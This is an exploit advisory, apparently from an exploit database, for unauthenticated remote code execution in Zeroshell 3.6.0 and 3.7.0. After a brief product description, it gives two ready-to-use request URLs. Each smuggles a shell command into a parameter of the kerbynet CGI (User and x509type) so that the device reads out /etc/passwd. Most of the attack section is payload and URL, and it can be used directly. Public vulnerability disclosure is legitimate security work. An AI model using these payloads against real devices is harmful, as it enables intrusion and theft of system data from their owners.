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# Exploit Title: Zeroshell - Net Services  Unauthenticated Remote Code Execution | RCE
# Date: 13.01.2017
# Exploit Author: Ozer Goker
# Vendor Homepage: http://www.zeroshell.org
# Software Link: www.zeroshell.org/download/
# Version: 3.6.0 & 3.7.0
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Introduction
 
Zeroshell is a small Linux distribution for servers and embedded devices with the aim to provide network services. It is available in the form of live CD or compact Flash image and it can be configured using a web browser. The main features of Zeroshell include: load balancing and failover of multiple Internet connections, UMTS/HSDPA connections by using 3G modems, RADIUS server for providing secure authentication and automatic management of encryption keys to wireless networks, captive portal to support web login, and many others.
 
 
Vulnerabilities: Unauthenticated Remote Code Execution | RCE
 
 
RCE details:
 
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RCE 1
 
URL
http://192.168.0.75/cgi-bin/kerbynet?Action=StartSessionSubmit&User=%27%26cat%20/etc/passwd%26%27&PW=
 
METHOD
Get,Post
 
PARAMETER
User
 
PAYLOAD
%27%26cat%20/etc/passwd%26%27
 
 
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RCE 2
 
URL
http://192.168.0.75/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%26cat%20/etc/passwd%26%27
 
METHOD
Get
 
PARAMETER
x509type
 
PAYLOAD
%27%26cat%20/etc/passwd%26%27